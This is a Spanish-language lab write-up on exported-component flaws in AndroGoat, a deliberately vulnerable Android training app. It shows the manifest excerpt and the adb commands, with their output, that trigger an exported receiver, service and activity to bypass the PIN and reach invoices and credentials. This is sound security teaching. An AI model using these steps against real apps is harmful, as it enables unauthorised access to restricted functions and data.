

## Writeup: Exported Activities - AndroGoat

- Nombre: **AndroGoat**
- Package name: AndroGoat.apk

AndroGoat expone componentes Android (Activities, Services y Broadcast Receivers) sin protección de autenticación, permitiendo a un atacante acceder a información sensible y funcionalidades restringidas sin necesidad de conocer el PIN configurado.

Se abrió la APK en JADX-GUI mediante File → Open files, una vez cargada se navegó a Resources → AndroidManifest.xml donde se identificaron los componentes exportados con el atributo `android:exported="true"`, siendo estos ShowDataReceiver, AccessControl1ViewActivity y DownloadInvoiceService.

```
51         <activity
52             android:label="@string/activity"
53             android:name="owasp.sat.agoat.AccessControl1ViewActivity">
54             <intent-filter>
55                 <action android:name="android.intent.action.VIEW"/>
56                 <category android:name="android.intent.category.DEFAULT"/>
57                 <data
58                     android:scheme="androgoat"
59                     android:host="vulnapp"/>
60             </intent-filter>
61         </activity>
62         <receiver
63             android:name="owasp.sat.agoat.ShowDataReceiver"
64             android:enabled="true"
65             android:exported="true"/>
66         <activity
67             android:label="@string/hardcode"
```

### Enviar broadcast al receiver

```
C:\Users\A.barroso\Downloads>adb shell am broadcast -a android.intent.action.VIEW -n owasp.sat.agoat/.ShowDataReceiver
Broadcasting: Intent { act=android.intent.action.VIEW flg=0x4000000 cmp=owasp.sat.agoat/.ShowDataReceiver }
Broadcast completed: result=0
```

Se exponen credenciales hardcodedas:



Con el servicio DownloadInvoiceService iniciado directamente via ADB, la factura se descargó sin requerir el PIN.

```
C:\Users\A.Barroso\Downloads>jadx-gui AndroGoat.apk
C:\Users\A.Barroso\Downloads>adb shell am start-service owasp.sat.agoat/.DownloadInvoiceService
Starting service: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=owasp.sat.agoat/.DownloadInvoiceService }
```

Posteriormente, accediendo a AccessControl1ViewActivity mediante un deep link androgoat://vulnapp, se obtuvo acceso directo a la pantalla de facturas sin ningún tipo de autenticación

```
C:\Users\A.Barroso\Downloads>adb shell am start -n owasp.sat.agoat/.AccessControl1ViewActivity
Starting: Intent { cmp=owasp.sat.agoat/.AccessControl1ViewActivity }
```